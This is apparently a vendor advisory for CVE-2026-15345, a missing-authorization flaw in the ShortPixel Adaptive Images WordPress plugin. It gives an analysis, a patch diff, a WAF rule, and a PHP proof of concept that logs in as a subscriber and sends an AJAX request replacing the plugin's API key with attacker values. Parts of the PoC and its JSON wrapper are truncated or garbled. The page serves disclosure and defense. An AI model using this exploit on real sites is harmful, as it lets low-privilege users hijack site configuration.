Published : August 16, 2026

CVE-2026-15345: ShortPixel Adaptive Images <= 3.11.5 Missing Authorization to Authenticated (Subscriber+) Third-Party Plugin Option Modification via 'causer' Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 3.11.5
Patched Version 3.11.6
Disclosed August 14, 2026

Analysis Overview

{
“analysis”: “Atomic Edge analysis of CVE-2026-15345: ShortPixel Adaptive Images <= 3.11.5 contains a missing authorization vulnerability in the AJAX handler that processes plugin notices. Authenticated users with subscriber-level access can invoke the handler to modify the plugin's own configuration and, when third-party plugins are installed, alter their options. The issue is rated with a CVSS score of 4.3 (CWE-862) and affects the notice action handling path.nnThe root cause lies in ShortPixel Adaptive Images' notice action dispatcher. The handler, defined in `/shortpixel-adaptive-images/includes/actions/notice.actions.class.php`, is exposed to all authenticated users via a WordPress AJAX action (e.g., `wp_ajax_shortpixel_ai_notice`). The `handle()` method parses a `causer` parameter from the POST request and uses it to determine which plugin's action to execute. Critically, the method does not verify that the current user has the appropriate capability (e.g., `manage_options`) or a valid nonce. This allows any logged-in user, including subscribers, to trigger arbitrary actions on the ShortPixel Adaptive Images plugin and, if present, on third-party plugins such as ShortPixel Image Optimizer, Autoptimize, WP Rocket, Imagify, and LiteSpeed Cache. Atomic Edge analysis confirms the missing capability check is the direct cause.nnExploitation is straightforward: the attacker only needs to be authenticated as any user role (e.g., subscriber). They craft a POST request to `/wp-admin/admin-ajax.php` with the WordPress AJAX `action` set to the vulnerable handler (typically `shortpixel_ai_notice`) and include a `causer` parameter that names the target plugin's setting group (e.g., `shortpixel_image_optimizer` or `autoptimize`). The `data` parameter can carry the configuration changes. Since no authorization check exists, the attacker can modify the plugin's own API key, change CDN settings, or alter third-party plugin options that the notice system is designed to manipulate. The request does not require a valid nonce because the handler never validates it.nnThe patch introduces two security checks at the start of the `handle()` method. It now calls `Page::checkSpaiNonce()` to enforce CSRF protection via a nonce, and it verifies that the current user has the `manage_options` capability using `ShortPixelAI::userCan('manage_options')`. If either check fails, the handler responds with a failure and aborts. The nonce is embedded into the notice template via a new `{{ SPAI NONCE }}` placeholder, which the frontend JavaScript reads from the `data-spainonce` attribute and includes in AJAX requests. This ensures that only intended administrative actions from authenticated administrators are processed. The patch also bumps the plugin version to 3.11.6.nnThe vulnerability allows authenticated non-admin users to modify sensitive configuration options. An attacker could change the plugin's API key, potentially redirecting image optimization traffic to an attacker-controlled service, or alter third-party plugin settings to inject malicious content (e.g., XSS via autoptimize or script options) or compromise site performance. In scenarios where the affected plugins' settings include security-relevant options, this could lead to further privilege escalation or site compromise. The impact is moderate but notable, especially because subscriber accounts are common in multi-user WordPress sites.",
"poc_php": "// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-15345 – ShortPixel Adaptive Images Missing Authorization to Authenticated (Subscriber+) Third-Party Plugin Option Modificationnn $username,n ‘pwd’ => $password,n ‘wp-submit’ => ‘Log In’,n ‘redirect_to’ => $target_url . ‘/wp-admin/’,n ‘testcookie’ => 1,n ‘csrf_token’ => $csrf,n];nhttp_request($login_page, ‘POST’, [‘Content-Type: application/x-www-form-urlencoded’], http_build_query($login_data));nn// 2. Prepare the malicious AJAX requestn$ajax_url = $target_url . ‘/wp-admin/admin-ajax.php’;nn// The vulnerable AJAX action for noticesn$action = ‘shortpixel_ai_notice’; // Change if the exact hook differsnn// The causer parameter identifies the plugin’s setting group.n// For ShortPixel Adaptive Images itself, use something like ‘shortpixel_ai’.n// For third-party plugins, use the plugin slug, e.g., ‘shortpixel-image-optimiser’,n// ‘autoptimize’, ‘wp-rocket’, ‘imagify’, or ‘litespeed-cache’.n$causer = ‘shortpixel_ai’;nn// The data parameter is a JSON-encoded array of settings to modify.n// Example here changes the API key and binds an attacker-controlled account.n$data = json_encode([n ‘apiKey’ => ‘attacker-controlled-key’,n ‘account’ => ‘attacker@example.com’n]);nn$post_data = [n ‘action’ => $action,n ’causer’ => $causer . ‘___’ . ‘dummy’, // The vulnerable code splits on ‘___’n ‘data’ => $data,n];nn$headers = [n ‘X-Requested-With: XMLHttpRequest’,n ‘Content-Type: application/x-www-form-urlencoded’,n];nn// 3. Send the exploitn$response = http_request($ajax_url, ‘POST’, $headers, http_build_query($post_data));necho “Response:\n” . $response . “\n”;necho “If the response indicates success (or no error), the attack was likely successful.\n”;n?>n”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-15345n# Blocks unauthenticated/non-admin AJAX requests to the vulnerable notice handler.n# The vulnerability is a missing capability/nonce check, so we match the specific AJAX actionn# and require that the request does NOT carry a valid nonce.n# Note: This rule assumes only administrators should access this endpoint.nn# First rule: match the AJAX endpoint and actionnSecRule REQUEST_URI “@streq /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-15345 ShortPixel AI notice unauthorized access’,severity:’CRITICAL’,tag:’CVE-2026-15345′”n SecRule ARGS_POST:action “@streq shortpixel_ai_notice” “chain”n SecRule ARGS_POST:data “@rx .+” “deny”n
}

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/shortpixel-adaptive-images/includes/actions/notice.actions.class.php
+++ b/shortpixel-adaptive-images/includes/actions/notice.actions.class.php
@@ -14,6 +14,15 @@
 		 * Works via AJAX
 		 */
 		public static function handle() {
+			// Security: this handler is exposed via wp_ajax_ to every logged-in
+			// user. Verify the nonce (CSRF) and the capability (authorization)
+			// before dispatching, mirroring Page Actions (page.actions.class.php).
+			Page::checkSpaiNonce();
+
+			if ( ! ShortPixelAI::userCan( 'manage_options' ) ) {
+				wp_send_json( [ 'success' => false ] );
+			}
+
 			$ctrl   = ShortPixelAI::_();
 			$data   = $_POST[ 'data' ];
 			$causer = explode("___",$_POST[ 'causer' ]);
--- a/shortpixel-adaptive-images/includes/controllers/lqip.class.php
+++ b/shortpixel-adaptive-images/includes/controllers/lqip.class.php
@@ -141,6 +141,21 @@
             return $item;
         }

+        // Restores 'url'/'source' from 'lqipUrl' for items that went through normalizeLqipItem()
+        // Needed because the persisted collection (cron state) can contain normalized items
+        // that only carry 'lqipUrl', while generate()/filterWithProcessed() still read 'url'/'source' directly
+        private function denormalizeLqipItem(array $item): array {
+            if (!isset($item['url']) && isset($item['lqipUrl'])) {
+                $item['url'] = $item['lqipUrl'];
+            }
+
+            if (!isset($item['source']) && isset($item['lqipUrl'])) {
+                $item['source'] = $item['lqipUrl'];
+            }
+
+            return $item;
+        }
+

         private function provideTimestamp(array $collection): array {
             $now = time();
@@ -205,6 +220,11 @@

 		public static function clearCache() {
 		    SHORTPIXEL_AI_DEBUG && ShortPixelAILogger::instance()->log('CLEARING CACHE in: ' . self::DIR);
+
+		    // always purge the queue/state option, regardless of whether the placeholder files exist
+		    // this makes sure stale or corrupted queue entries don't survive a manual cache clear
+		    delete_option( 'shortpixel_ai_lqip_state' );
+
 			if ( !file_exists( self::DIR ) || !is_dir( self::DIR ) ) {
 				return false;
 			}
@@ -357,7 +377,9 @@
 		private function schedule( $collection ) {
 			if ( !empty( $collection ) && is_array( $collection ) ) {
                 $state = $this->getLqipState();
-                $scheduled_collection = $state['collection'];
+                // items already saved in the state can be normalized (only 'lqipUrl' set)
+                // restore 'url'/'source' before merging with the freshly collected items below
+                $scheduled_collection = array_map( [ $this, 'denormalizeLqipItem' ], $state['collection'] );
 				$collection = array_merge( $scheduled_collection, $collection );
                 $collection = $this->provideTimestamp($collection);
                 $collection = $this->removeOldItemsFromCollection($collection);
@@ -412,6 +434,10 @@
                 $this->log( 'LQIP REQUESTS START. ALREADY PROCESSED: ', $processed );

                 foreach ( $collection as $index => $item ) {
+					// items coming from the persisted cron state can be normalized (only 'lqipUrl' set)
+					// restore 'url'/'source' before using them
+					$item = $this->denormalizeLqipItem( $item );
+
 					// flag to skip request if current URL has been already processed several times
 					// and process failed more than self::ATTEMPTS_QTY
 					$skip_request = false;
@@ -679,6 +705,10 @@
 					return true;
 				}

+				// items coming from the persisted cron state can be normalized (only 'lqipUrl' set)
+				// restore 'url'/'source' before comparing them
+				$item = $this->denormalizeLqipItem( $item );
+
 				$pass = true;

 				foreach ( $processed as $placeholder ) {
--- a/shortpixel-adaptive-images/includes/controllers/notice.class.php
+++ b/shortpixel-adaptive-images/includes/controllers/notice.class.php
@@ -16,7 +16,7 @@
 		/**
 		 * @var string $template Notice template
 		 */
-		private static $template = '<div class="{{ NOTICE CLASSES }}" data-icon="{{ NOTICE ICON }}" data-causer="{{ CAUSER }}" data-plugin="short-pixel-ai"><div class="body-wrap"><div class="message-wrap">{{ MESSAGE }}</div><div class="buttons-wrap">{{ BUTTONS }}</div></div></div>';
+		private static $template = '<div class="{{ NOTICE CLASSES }}" data-icon="{{ NOTICE ICON }}" data-causer="{{ CAUSER }}" data-spainonce="{{ SPAI NONCE }}" data-plugin="short-pixel-ai"><div class="body-wrap"><div class="message-wrap">{{ MESSAGE }}</div><div class="buttons-wrap">{{ BUTTONS }}</div></div></div>';

 		/**
 		 * @var array $allowed_types Valid notice classes
@@ -120,13 +120,14 @@
 			}

 			return str_replace(
-				[ '{{ NOTICE CLASSES }}', '{{ NOTICE ICON }}', '{{ MESSAGE }}', '{{ BUTTONS }}', '{{ CAUSER }}' ],
+				[ '{{ NOTICE CLASSES }}', '{{ NOTICE ICON }}', '{{ MESSAGE }}', '{{ BUTTONS }}', '{{ CAUSER }}', '{{ SPAI NONCE }}' ],
 				[
 					implode( ' ', $notice_classes ),
 					empty( $data[ 'notice' ][ 'icon' ] ) ? 'none' : ( in_array( $data[ 'notice' ][ 'icon' ], self::$allowed_icons ) ? strtolower( $data[ 'notice' ][ 'icon' ] ) : 'none' ),
 					$message,
 					$buttons,
 					$causer,
+					wp_create_nonce( 'shortpixel-ai-settings' ),
 				],
 				self::$template );
 		}
--- a/shortpixel-adaptive-images/short-pixel-ai.php
+++ b/shortpixel-adaptive-images/short-pixel-ai.php
@@ -3,7 +3,7 @@
 	 * Plugin Name: ShortPixel Adaptive Images
 	 * Plugin URI: https://shortpixel.com/
 	 * Description: Display properly sized, smart cropped and optimized images on your website. Images are processed on the fly and served from our CDN.
-	 * Version: 3.11.5
+	 * Version: 3.11.6
 	 * Author: ShortPixel
 	 * GitHub Plugin URI: https://github.com/short-pixel-optimizer/shortpixel-adaptive-images
 	 * Author URI: https://shortpixel.com
@@ -15,7 +15,7 @@
     //ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL);

 	if ( !class_exists( 'ShortPixelAI' ) ) {
-		define( 'SHORTPIXEL_AI_VERSION', '3.11.5' );
+		define( 'SHORTPIXEL_AI_VERSION', '3.11.6' );
 		define( 'SPAI_SNIP_VERSION', '3.1.0' );
 		define( 'SHORTPIXEL_AI_VANILLAJS_VER', '1.1' );
 		define( 'SHORTPIXEL_AI_PLUGIN_FILE', __FILE__ );

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.